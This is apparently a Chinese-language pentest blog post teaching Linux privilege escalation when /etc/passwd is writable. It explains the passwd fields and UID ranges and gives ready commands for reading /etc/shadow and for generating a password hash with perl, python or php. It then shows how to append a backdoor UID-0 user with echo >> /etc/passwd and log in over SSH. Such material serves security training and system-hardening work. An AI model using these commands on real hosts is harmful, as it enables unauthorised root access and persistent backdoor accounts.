Linux提权之passwd提权

2023-11-30 17:14:57 浏览数 (1)

渗透场景

当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权。

基础知识

用户分类

在Linux下,用户分为三类:超级用户(root)、普通用户、程序用户

  • 超级用户:UID=0 
  • 程序用户:Rhel5/6,UID=1-499; Rhel7,UID=1-999 
  • 普通用户:Rhel5/6,UID=500-65535; Rhel7,UID=1000-60000

有三个命令可以查看用户的相关信息:

代码语言:javascript复制
cat  /etc/passwd         #查看用户信息
cat  /etc/shadow         #查看用户的密码信息
cat  /etc/group          #查看用户的组信息

用户信息

使用以下命令查看用户信息:

代码语言:javascript复制
cat /etc/passwd   #/etc/passwd默认权限为644,其最小权限为444

/etc/passwd文件中每条用户信息数据显示有7个字段:

  • 字段1:用户名 --> root 
  • 字段2:密码占位符 --> x (这里都是用x代替) 
  • 字段3:uid,用户id --> 0 
  • 字段4:gid ,组id --> 0 
  • 字段5:用户描述信息 --> root 
  • 字段6:家目录 --> /root 
  • 字段7:登录 shell (用户登陆shell ,当为/bin/bash表示可以登陆,/sbin/nologin表示不被授权登陆)

一般来说,只有root用户的uid是为0,如果黑客把一个普通用户的uid修改为0的话,那么他只要以普通用户的用户名和密码登录,系统就会自动切换到root用户,常常系统加固的时候都会过滤出有哪些用户的UID为0。

提权流程

确定可写

首先查看/etc/passwd 的权限,发现任何用户都可以对/etc/passwd文件进行读写操作:

代码语言:javascript复制
ls -lh /etc/passwd

写入用户

接下来要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到/etc/passwd 文件中~

首先使用perl语言生成带有盐值的密码:

代码语言:javascript复制
perl -le 'print crypt("password@123","addedsalt")'

然后执行下面这条命令,成功将test用户的信息加入/etc/passwd文件

代码语言:javascript复制
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

在这里我们也可以使用其他的语言来审查带有盐值的密码:

Python:

代码语言:javascript复制
python -c 'import crypt; print crypt.crypt("password@123", "$6$salt")'

PHP:

代码语言:javascript复制
php -r "print(crypt('aarti','123') . "n");"

随后直接SSH登录即可~

0 人点赞